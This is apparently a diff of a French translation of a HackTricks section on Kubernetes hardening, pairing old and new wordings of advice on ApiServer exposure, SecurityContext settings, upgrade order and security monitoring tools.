- Éviter l'exposition de l'ApiServer sur Internet. - Éviter l'exposition de l'ApiServer sur Internet.
- Prévenir les accès non autorisés via RBAC. - Éviter l'accès non autorisé via RBAC.
- Sécuriser le port de l'ApiServer avec un firewall et du whitelisting IP. - Port de l'ApiServer protégé par firewall et IP whitelisting.
### SecurityContext Hardening ### Renforcement de SecurityContext
Par défaut, l'utilisateur root sera utilisé lorsqu'un Pod est démarré si aucun autre utilisateur n'est spécifié. Vous pouvez exécuter votre application dans un contexte plus sécurisé en utilisant un template similaire au suivant : Par défaut, l'utilisateur root sera utilisé lorsqu'un Pod démarre si aucun autre utilisateur n'est spécifié. Vous pouvez exécuter votre application dans un contexte plus sécurisé en utilisant un template similaire au suivant :
```yaml ```yaml
apiVersion: v1 apiVersion: v1
kind: Pod kind: Pod
@@ -225,30 +297,30 @@ allowPrivilegeEscalation: true
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### Renforcement général ### Durcissement général
Vous devriez mettre à jour votre environnement Kubernetes aussi souvent que nécessaire pour avoir : Vous devriez mettre à jour votre environnement Kubernetes aussi fréquemment que nécessaire pour avoir :
- Dépendances à jour. - Dépendances à jour.
- Correctifs de bugs et de sécurité. - Correctifs de bugs et de sécurité.
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Tous les 3 mois il y a une nouvelle version mineure -- 1.20.3 = 1(Major).20(Minor).3(patch) [**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Tous les 3 mois il y a une nouvelle version mineure -- 1.20.3 = 1(Majeur).20(Mineur).3(correctif)
**La meilleure façon de mettre à jour un cluster Kubernetes est (depuis** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** **La meilleure façon de mettre à jour un Cluster Kubernetes est (d'après** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
- Mettre à niveau les composants du Master Node dans l'ordre suivant : - Mettre à niveau les composants du Master Node dans l'ordre suivant :
- etcd (toutes les instances). - etcd (toutes les instances).
- kube-apiserver (tous les control plane hosts). - kube-apiserver (tous les hôtes du control plane).
- kube-controller-manager. - kube-controller-manager.
- kube-scheduler. - kube-scheduler.
- cloud controller manager, si vous en utilisez un. - cloud controller manager, si vous en utilisez un.
- Mettre à niveau les composants des Worker Nodes tels que kube-proxy, kubelet. - Mettre à niveau les composants des Worker Node tels que kube-proxy, kubelet.
## Surveillance et sécurité Kubernetes : ## Kubernetes monitoring & security:
- Kyverno Policy Engine - Kyverno Policy Engine
- Cilium Tetragon - Observabilité de sécurité basée sur eBPF et application de politiques à l'exécution - Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement
- Network Security Policies - Network Security Policies
- Falco - surveillance et détection de sécurité à l'exécution - Falco - Runtime security monitoring & detection
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}